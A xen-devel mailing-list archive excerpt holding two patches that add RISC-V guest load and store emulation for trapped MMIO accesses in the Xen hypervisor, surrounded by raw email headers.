        b=AhUu/oPe0RHfljWGYyzfC/lBnSFgIWZcBu5FOwdv5wuqQqzpilLDslMdvmEeGuNip7
         mCog17lof+kguudT+Wsz9f9f9CnAgmci6x8wTaYPTBC5frdT2rMV2YVd/9wZJ3BRCCC0
         FGGwf6dg4yTVZN8eiVmolFh6/VFrWmc+23KWwxBF6yzVd6OWRI93gx5AYML7yl6aMogn
         VOYjVyFgKQEqRjCKfaTajqOsD0rPmJXtUhJIKM+zAlCRz18TrhKqjVxcgUCL5zOVI6JP
         TY6WwCYIAAV8rUK1gzRlSYbI5OkCsiXjBpMN3fZpTyPAlAbgnXPZrHWC45UnNd9cRcXR
         3Gtw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785332435; x=1785937235;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=sFuIFHaAW+8s2KlN+hWBa0uRW0aaM8NroxXcUO611lM=;
        b=hMhvFZ5sRZHLBrV2jVn2lyty0+LBXdImj2Hj1KiAuO7EdaFiGNVBKQt2DHT9uqk28K
         ueoZfJCAptKf0QZAoreFVJB8cqDNIDKIZCerGeS3gnmLZJCkdHdZBSoxtykinB+Vawqj
         1elceRP1FtpXnsWiVUwzdrGKAv+Dnzrv+N8mrSuFuW/fy08QZPp+OR2PHYHJGZNsTTdZ
         2FHzzXVsHuTj9ixlE3X8dKlVuwmDSUooX+0tBTpSAfB0nwqK0xL9JVs8XQdec1frnE1f
         DMnyatgkSVw84xYrAgyCJeBBdMMhmaosl5Jhbm9w8d/kX4GvVDeyGW1wpZ0mSwPkkvJx
         6+hg==
X-Gm-Message-State: AOJu0YwtpmKvwE9VvG1U5PGYJxhOiCFhhy8MsiMmCGv7hnpk2P/pkvkp
	hQFJ1Bi9X+ELVAppeusb7G6Vv0pRGVE6PEtNqTcioBfrxNFJyr8npxX9Dxkoag==
X-Gm-Gg: AR+sD13UlhJ1TuO8vFlmYAzKfaaP6UzD+k7gWRWEBD3/Pc4cdSXywvIcuCrablJa+Dy
	DRuJKf+QkNsJbbO5kOOTHOV9PBm+IM9sMyGb0AXUM09d2SEevViQY0WN7R9D4zvGVAxano1AGdc
	V3asCqXlo2+H9PBQdD9roGNWeFn15GpSAmlyHrc157m3Knneh0PnpCQAKSPURwccQToZZ4Al9Op
	tJzJPcMzEhieHkZ7LnMnDLXukDhe3+98God/D/ytYFzcZq0pQReXb0CY3OiknGQjsiafYdlXrvM
	eFi0GPzfBH5tP+967zWyW7FjHBTJenj+IewXBD1VyFmZSg3yoyUALrg2Oae7OfJCphuhXZK0OY+
	P7GoVOPPTyThKfvPUnHKtZm6+DQ4oO5PLMAnHy4ybpwTRCYU9NSRAdRfCOiJpdYAdYilrFca4dg
	zUcsD/pb6UCASAbCodOSO9Kcv4cROqViXluN+4DsYAGz79ayL7SCbuKjWvDpOSYXdb6JRPcgXr1
	jJ5ltkmnH1cnJ7MJ9xu8e4lOiWaeV54bw==
X-Received: by 2002:a5d:5888:0:b0:47f:97b9:13e1 with SMTP id ffacd0b85a97d-47fb1f13e15mr7975292f8f.31.1785332434788;
        Wed, 29 Jul 2026 06:40:34 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 16/17] xen/riscv: add guest load emulation for trapped MMIO accesses
Date: Wed, 29 Jul 2026 15:40:21 +0200
Message-ID: <9b18a20367754605efd6a6b5bf09d4483d9c3ab2.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1785332435-BD67C757-853EDD4D/10/73395122804
X-purgate-type: spam
X-purgate-size: 8507

Introduce emulate_load() to decode and emulate guest load instructions
that fault due to MMIO accesses. This provides the basic infrastructure
required for MMIO emulation on RISC-V.

The instruction decode (decode_trapped_insn() and the mask/match chain
for standard and compressed load encodings) is adapted from Linux's KVM
RISC-V implementation. The completion path differs from KVM's,
since Xen dispatches MMIO synchronously to an in-hypervisor handler via
try_handle_mmio() and has no userspace exit/return step equivalent to
KVM's kvm_io_bus_read() / KVM_EXIT_MMIO / kvm_riscv_vcpu_mmio_return()
split.

A fault taken while re-reading the trapped instruction is handled
depending on the faulting translation stage:
 - A VS-stage fault is the guest's own fault (e.g. it modified its page
   tables from another vCPU) and, as in KVM, is redirected to the
   guest's trap vector, with the cause remapped to
   CAUSE_FETCH_PAGE_FAULT since HLVX reports execute-permission failures
   as load faults.
 - A G-stage fault would mean the P2M mapping of the instruction page
   disappeared after the instruction was fetched. KVM must handle this
   by resuming the guest and retrying, as Linux MM can invalidate
   G-stage mappings at any time. Xen does not remove P2M mappings of a
   running domain at the moment, so this case is asserted unreachable with
   BUG_ON(); it will need to be revisited once such removal is implemented.

When a guest load triggers a page fault, the trapped instruction is
decoded using HTINST or, if unavailable, fetched via unprivileged access.
At the moment only virtual interrupt controller (vINTC) traps are
expected to occur, since it is currently the only backend registered
with the MMIO handler dispatch, so in practice the load is emulated via
the vINTC backend and the guest register state is updated accordingly.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/include/asm/traps.h |   6 ++
 xen/arch/riscv/traps.c             | 162 ++++++++++++++++++++++++++++-
 2 files changed, 167 insertions(+), 1 deletion(-)

diff --git a/xen/arch/riscv/include/asm/traps.h b/xen/arch/riscv/include/asm/traps.h
index 8d4ab664bca9..937295c5c76c 100644
--- a/xen/arch/riscv/include/asm/traps.h
+++ b/xen/arch/riscv/include/asm/traps.h
@@ -4,6 +4,7 @@
 #define ASM__RISCV__TRAPS_H
 
 #include <asm/processor.h>
+#include <asm/riscv_encoding.h>
 
 #ifndef __ASSEMBLER__
 
@@ -13,6 +14,11 @@ struct trap_info {
     register_t stval;
 };
 
+static inline bool is_load_guest_page_fault(unsigned long scause)
+{
+    return (scause == CAUSE_LOAD_GUEST_PAGE_FAULT);
+}
+
 void do_trap(struct cpu_user_regs *cpu_regs);
 void handle_trap(void);
 void trap_init(void);
diff --git a/xen/arch/riscv/traps.c b/xen/arch/riscv/traps.c
index 1c97bd101948..12690ae37aba 100644
--- a/xen/arch/riscv/traps.c
+++ b/xen/arch/riscv/traps.c
@@ -14,7 +14,9 @@
 
 #include <asm/extable.h>
 #include <asm/cpufeature.h>
+#include <asm/guest_access.h>
 #include <asm/intc.h>
+#include <asm/mmio.h>
 #include <asm/processor.h>
 #include <asm/riscv_encoding.h>
 #include <asm/traps.h>
@@ -191,6 +193,11 @@ static void timer_interrupt(void)
     raise_softirq(TIMER_SOFTIRQ);
 }
 
+static always_inline void advance_pc(struct cpu_user_regs *regs, int step)
+{
+    regs->sepc += step;
+}
+
 static always_inline unsigned long get_faulting_gpa(void)
 {
     /*
@@ -210,9 +217,162 @@ static always_inline unsigned long get_faulting_gpa(void)
     return (csr_read(CSR_HTVAL) << 2) | (csr_read(CSR_STVAL) & 0x3);
 }
 
+/*
+ * Determine the trapped instruction which caused a guest MMIO trap.
+ *
+ * Returns true if the trap was redirected to the guest, in which case
+ * the caller must stop emulation and return success. Otherwise *insn
+ * and *insn_len are filled in and the caller should continue decoding.
+ */
+static bool decode_trapped_insn(unsigned long htinst, unsigned long *insn,
+                                unsigned int *insn_len)
+{
+    if ( htinst & 0x1 )
+    {
+        /*
+         * Bit[0] == 1 implies trapped instruction value is
+         * transformed instruction or custom instruction.
+         */
+        *insn = htinst | INSN_16BIT_MASK;
+        *insn_len = (htinst & BIT(1, UL)) ? INSN_LEN(*insn) : 2;
+    }
+    else
+    {
+        struct cpu_user_regs *regs = vcpu_guest_cpu_user_regs(current);
+        struct trap_info utrap = { 0 };
+
+        /*
+         * Bit[0] == 0 implies trapped instruction value is
+         * zero or special value.
+         */
+        *insn = riscv_vcpu_unpriv_read(true, regs->sepc, &utrap);
+        if ( utrap.scause )
+        {
+            /*
+             * A G-stage fault here would mean the P2M mapping of the page
+             * containing the trapped instruction disappeared after it was
+             * fetched. Nothing removes P2M mappings of a running domain yet,
+             * so this cannot happen.
+             *
+             * TODO: Revisit once P2M mappings can be removed at runtime.
+             */
+            BUG_ON(is_load_guest_page_fault(utrap.scause));
+
+            utrap.sepc = regs->sepc;
+            utrap.stval = utrap.sepc;
+
+            riscv_vcpu_trap_redirect(&utrap);
+
+            return true;
+        }
+
+        *insn_len = INSN_LEN(*insn);
+    }
+
+    return false;
+}
+
+/*
+ * Check alignment and dispatch a decoded MMIO access to a registered
+ * handler. On success (0), info->data holds the read value for loads.
+ */
+static int do_mmio(mmio_info_t *info, unsigned long fault_addr,
+                   unsigned int len)
+{
+    /* Fault address should be aligned to length of MMIO */
+    if ( fault_addr & (len - 1) )
+        return -EIO;
+
+    info->gpa = fault_addr;
+    info->len = len;
+
+    switch ( try_handle_mmio(info) )
+    {
+    case IO_HANDLED:
+        return 0;
+    case IO_ABORT:
+        return -EIO;
+    default:
+        return -EOPNOTSUPP;
+    }
+}
+
 static int emulate_load(unsigned long fault_addr, unsigned long htinst)
 {
-    return -EOPNOTSUPP;
+    struct cpu_user_regs *regs = vcpu_guest_cpu_user_regs(current);
+    mmio_info_t info = { .is_write = false };
+    unsigned long insn;
+    unsigned int shift = 0, len, insn_len;
+    bool is_unsigned = false;
+    int rc;
+
+    if ( decode_trapped_insn(htinst, &insn, &insn_len) )
+        return 0;
+
+    /* Decode length of MMIO and whether it is a sign- or zero-extending load */
+    if ( (insn & INSN_MASK_LB) == INSN_MATCH_LB )
+        len = 1;
+    else if ( (insn & INSN_MASK_LBU) == INSN_MATCH_LBU )
+    {
+        len = 1;
+        is_unsigned = true;
+    }
+    else if ( (insn & INSN_MASK_LH) == INSN_MATCH_LH )
+        len = 2;
+    else if ( (insn & INSN_MASK_LHU) == INSN_MATCH_LHU )
+    {
+        len = 2;
+        is_unsigned = true;
+    }
+    else if ( (insn & INSN_MASK_LW) == INSN_MATCH_LW )
+        len = 4;
+#ifndef CONFIG_RISCV_32
+    else if ( (insn & INSN_MASK_LWU) == INSN_MATCH_LWU )
+    {
+        len = 4;
+        is_unsigned = true;
+    }
+#endif
+    else if ( (insn & INSN_MASK_C_LW) == INSN_MATCH_C_LW )
+    {
+        len = 4;
+        insn = RVC_RS2S(insn) << SH_RD;
+    }
+    else if ( (insn & INSN_MASK_C_LWSP) == INSN_MATCH_C_LWSP &&
+              RV_X(insn, SH_RD, 5) )
+        len = 4;
+#ifndef CONFIG_RISCV_32
+    else if ( (insn & INSN_MASK_LD) == INSN_MATCH_LD )
+        len = 8;
+    else if ( (insn & INSN_MASK_C_LD) == INSN_MATCH_C_LD )
+    {
+        len = 8;
+        insn = RVC_RS2S(insn) << SH_RD;
+    }
+    else if ( (insn & INSN_MASK_C_LDSP) == INSN_MATCH_C_LDSP &&
+              RV_X(insn, SH_RD, 5) )
+        len = 8;
+#endif
+    else
+        return -EOPNOTSUPP;
+
+    if ( !is_unsigned )
+        shift = BITS_PER_BYTE * (sizeof(unsigned long) - len);
+
+#ifdef EMULATE_LOAD_DEBUG
+    gdprintk(XENLOG_DEBUG, "pc=%#02lx, addr=%#02lx, len=%d, shift=%d\n",
+             regs->sepc, fault_addr, len, shift);
+#endif
+
+    rc = do_mmio(&info, fault_addr, len);
+    if ( rc )
+        return rc;
+
+    SET_RD(insn, regs, (long)((unsigned long)info.data << shift) >> shift);
+
+    advance_pc(regs, insn_len);
+
+    return 0;
 }
 
 static int emulate_store(unsigned long fault_addr, unsigned long htinst)
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 13:40:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 13:40:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375925.1622918 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4WU-0006Ei-3v; Wed, 29 Jul 2026 13:40:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375925.1622918; Wed, 29 Jul 2026 13:40:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4WU-0006Eb-0K; Wed, 29 Jul 2026 13:40:38 +0000
Received: by outflank-mailman (input) for mailman id 1375925;
 Wed, 29 Jul 2026 13:40:37 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp4WS-0006Bm-Tn
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:40:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp4WS-007nhf-Ab
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 15:40:36 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a02cb-5cb7-0a2a0a5109dd-0a2a450ae118-40
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:40:36 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a02d4-f2d2-0a2a450a0019-d155dd32c164-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:40:36 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-47f752b3423so627127f8f.3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 06:40:36 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6aa392asm7585952f8f.5.2026.07.29.06.40.34
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 29 Jul 2026 06:40:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785332436; x=1785937236; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=d1Ccio9WdwnqMCPVek92jryf1sYedrjQokSPetFgDpc=;
        b=l5cJqmFUTTboHzRmEPEdiG95A9jRLVVlajHbX0rDsJH5LrmQTcYairgFtVGY/oHfpI
         hn0bhFzeI7PIfSE7HzDvCdPMov/mTuDtFRgxtof1tSNlAWvIffhpIyT0ore18fvkUKRQ
         J/wsFdWtF4c1vW8u/CsrGFX5ybBH8JYan1VNj2yaD2VyGOyir5O78jTi1uHGGCqT1l+E
         ubf7iZ6fydvG7RfhTCw8/k4Fm4Cj/0Sfnurw/FKhuEcWqhBsNzd2DQkc1qj/zDNbq90S
         2amI9SXlq9cfHt6YBW65GU96f9m+6LHs37MPGDkwiMcTv+zdr6lUYiHy3l1cK58tKLfj
         rIuw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785332436; x=1785937236;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=d1Ccio9WdwnqMCPVek92jryf1sYedrjQokSPetFgDpc=;
        b=KYiCkXaod4rohDzHUyCngBPLYbtLJKD2V8HLyW419xwky5ICAJvPEr4JcukQ6Pl7gz
         4PxmOiWeARbVIkUI2HoAh86O38ghaRIOj5vT8kakMYn8/g4A9Puq0KBBtwhxmwDUTSf4
         9MtYQ5CyEInyA23wVWwuW2BwSj+20JjVqr+Avu9Ks+mnsh4FNQGiLfmOXQo79j8OBIOm
         JFMf4cFiu/gmmymyGnNyCzl5LwFoLcSFCosNSMr2kK6bpzVOpM8sX+SpavI9BReH/tOz
         wcYk5HfMOQnIxF7llFSEjU7uxCPhSbhxQeYXS2U9qbGGvtDM6ZOIdzK/JpjZniZytY/Z
         FNDw==
X-Gm-Message-State: AOJu0YzjV3+V6C9SK5P1vA6E6Udo4kmOEuucpRvWtbnGntXdA9sRppro
	iOXnDMhZ2oyEdP0ER8kT/hKEN06pcKCyZuiEU6hDlc5U5SXMjg8Foq3VpVJ52g==
X-Gm-Gg: AR+sD12h5FtdrwB1bSBsiZG5kaXkDLAE7GrYHgUo8MdFgRqcYS8EmTXb6I4IQQjp9tZ
	Y6fWx2iyGVHvRWGIfJBoVqIomQ6rIUKAfFnXSfK56u07iDEeW3EjBbQCz752XDf7oGAm9jAwLt/
	WAUHpNi9g8YYvefYLGNsDF+A2EEnkj/82FKK/R8ByaWy+Z76/yMNqyo1zgucTiVb/vWsBP1kl88
	Pl28S5shMv7ucwGavx0VDB1iCtwtgvheKy2Bc7RVnxIz6p8QUUjllSst0s3iryrK8rQ1d8HZ8vr
	RaTEb5hl91MkLXP37RmhGy+qH+BjBfEvktws9K3c8tZXkdF1p5LKS3gM01wPZUvOFfXZFV5UuKx
	r/FgHL3NS8EV5Hub9wLBBhTtfnOkPnmCNdpzWuyAuEcmp3+pkemxBQDnMtO4LY+1lNMCBwkso62
	+wBjus6Ukv3yaLdp9eO6LZXbQ3sLcPVi2KNz+Hx8msIucK3LCPTmxzCfYsO/2wN8AJaaeGnEvqi
	Caw4aH8zJyGVgAblz61VBA3lbxjY84Kfg==
X-Received: by 2002:a05:6000:2012:b0:47f:753c:5393 with SMTP id ffacd0b85a97d-47fb1ec88a5mr7819651f8f.6.1785332435679;
        Wed, 29 Jul 2026 06:40:35 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 17/17] xen/riscv: add guest store emulation for trapped MMIO accesses
Date: Wed, 29 Jul 2026 15:40:22 +0200
Message-ID: <d82ab235ee0a90be0b2f9956a76e8951ad67e832.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1785332436-58FC6CFC-4F94D90B/10/73395122804
X-purgate-type: spam
X-purgate-size: 3082

Extend the guest page fault handler with store emulation to support MMIO
write accesses.

The instruction decode mirrors emulate_load() and, like it, is adapted
from Linux's KVM RISC-V implementation. As with the load path, the
completion is synchronous through try_handle_mmio() rather than KVM's
userspace exit/return split, since Xen's MMIO handlers run in the
hypervisor. Faults taken while re-reading the trapped instruction are
handled by decode_trapped_insn(), shared with the load path.

When a guest store instruction faults, the trapped instruction is decoded
using HTINST or, if unavailable, fetched via unprivileged access. At the
moment only virtual interrupt controller (vINTC) traps are expected to
occur, since it is currently the only backend registered with the MMIO
handler dispatch, so in practice the store is emulated via the vINTC
backend.

Together with load emulation, this completes the basic MMIO handling path
needed for virtual interrupt controller support on RISC-V.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/traps.c | 55 +++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 54 insertions(+), 1 deletion(-)

diff --git a/xen/arch/riscv/traps.c b/xen/arch/riscv/traps.c
index 12690ae37aba..18156627d7cd 100644
--- a/xen/arch/riscv/traps.c
+++ b/xen/arch/riscv/traps.c
@@ -377,7 +377,60 @@ static int emulate_load(unsigned long fault_addr, unsigned long htinst)
 
 static int emulate_store(unsigned long fault_addr, unsigned long htinst)
 {
-    return -EOPNOTSUPP;
+    struct cpu_user_regs *regs = vcpu_guest_cpu_user_regs(current);
+    mmio_info_t info = { .is_write = true };
+    register_t data;
+    unsigned long insn;
+    unsigned int len, insn_len;
+    int rc;
+
+    if ( decode_trapped_insn(htinst, &insn, &insn_len) )
+        return 0;
+
+    data = GET_RS2(insn, regs);
+
+    if ( (insn & INSN_MASK_SB) == INSN_MATCH_SB )
+        len = 1;
+    else if ( (insn & INSN_MASK_SH) == INSN_MATCH_SH )
+        len = 2;
+    else if ( (insn & INSN_MASK_SW) == INSN_MATCH_SW )
+        len = 4;
+    else if ( (insn & INSN_MASK_C_SW) == INSN_MATCH_C_SW )
+    {
+        len = 4;
+        data = GET_RS2S(insn, regs);
+    }
+    else if ( (insn & INSN_MASK_C_SWSP) == INSN_MATCH_C_SWSP )
+    {
+        len = 4;
+        data = GET_RS2C(insn, regs);
+    }
+#ifndef CONFIG_RISCV_32
+    else if ( (insn & INSN_MASK_SD) == INSN_MATCH_SD )
+        len = 8;
+    else if ( (insn & INSN_MASK_C_SD) == INSN_MATCH_C_SD )
+    {
+        len = 8;
+        data = GET_RS2S(insn, regs);
+    }
+    else if ( (insn & INSN_MASK_C_SDSP) == INSN_MATCH_C_SDSP )
+    {
+        len = 8;
+        data = GET_RS2C(insn, regs);
+    }
+#endif
+    else
+        return -EOPNOTSUPP;
+
+    info.data = data;
+
+    rc = do_mmio(&info, fault_addr, len);
+    if ( rc )
+        return rc;
+
+    advance_pc(regs, insn_len);
+
+    return 0;
 }
 
 static void handle_guest_page_fault(unsigned long cause,
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 13:41:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 13:41:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375939.1622930 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4XL-0007A5-FM; Wed, 29 Jul 2026 13:41:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375939.1622930; Wed, 29 Jul 2026 13:41:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4XL-00079y-Cb; Wed, 29 Jul 2026 13:41:31 +0000
Received: by outflank-mailman (input) for mailman id 1375939;
 Wed, 29 Jul 2026 13:41:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp4XK-00079J-7X
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:41:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp4XJ-002ryt-KU
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 15:41:29 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a02f2-e002-0a2a0a5209dd-0a2a450bd3ac-40
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:41:29 +0200
Received: from [209.85.167.49] (helo=mail-lf1-f49.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a0309-b7e8-0a2a450b0019-d155a731b952-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:41:29 +0200
Received: by mail-lf1-f49.google.com with SMTP id
 2adb3069b0e04-5b015b2d792so922972e87.3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 06:41:29 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b2d78ea9efsm399663e87.44.2026.07.29.06.41.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 06:41:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785332489; x=1785937289; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=kh0eSunNeEG770Hq1VLFazSA/3JCq5NHBTAoVpXKORQ=;
        b=EyiGHj4cgcWvIhxZY1Um9SEek7xcbscGuugSc8s+E76qXf07eDZCWH3AGUgvfbXKNV
         sl7q9nFavxQjuFXtgp9DJyaRarEUqpAA7NAMev0vEP5FCx3tMubWR9nSRSd1JBkgnbLw
         aLcP5D5g9iiD7e/Exlwh9ycqa7jq4ZbTRgL3PvoJzDH4qfQYeD/OxYC+L+TWfoZvcB9Y
         sxh/mkaIFptIAv/9FYGsbLpH24Cc3/ixyHARRh32ESBM5Q5VPT3y0f5OnwiBLQOlhi/z
         9NuDk2QyhqYMM1ZFeP8jtjZ0ky539Xwn5o1K8MxLQ8/DWdBF5uxMYGOVS2HZbOWyutHC
         tHAQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785332489; x=1785937289;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=kh0eSunNeEG770Hq1VLFazSA/3JCq5NHBTAoVpXKORQ=;
        b=EmOPb2qvV8anY/PJQSpeKVmMOL+r2NmlQk+EQgAuDf4CmBEP5+EblY/orF+5PO2+L1
         h6RxqbicH5/r9Nvpp8wrNxhTiHqI9hZ+JN/2ChLw+Zgyllas3D4ghZLOHkLOb4tCM5J/
         tBkECashD3Kikj/VHXYE6CKK61ChwrBIHXm/vAWBdBwjOWB+9vJohZsvNKUdCVX1uMBe
         1TGu1NOTiXwgutAAF8lm0rUS7B8jiROmv12V26CVOZm5GLy5UFvz7nvgqnHAdLrYnz7i
         EjdJXVtNLOus+HOjW5c4k6bycpdpMfvstUQtNq3UfxOKjj9FytcT1njO3Xf/w3vLKWZ6
         RcVQ==
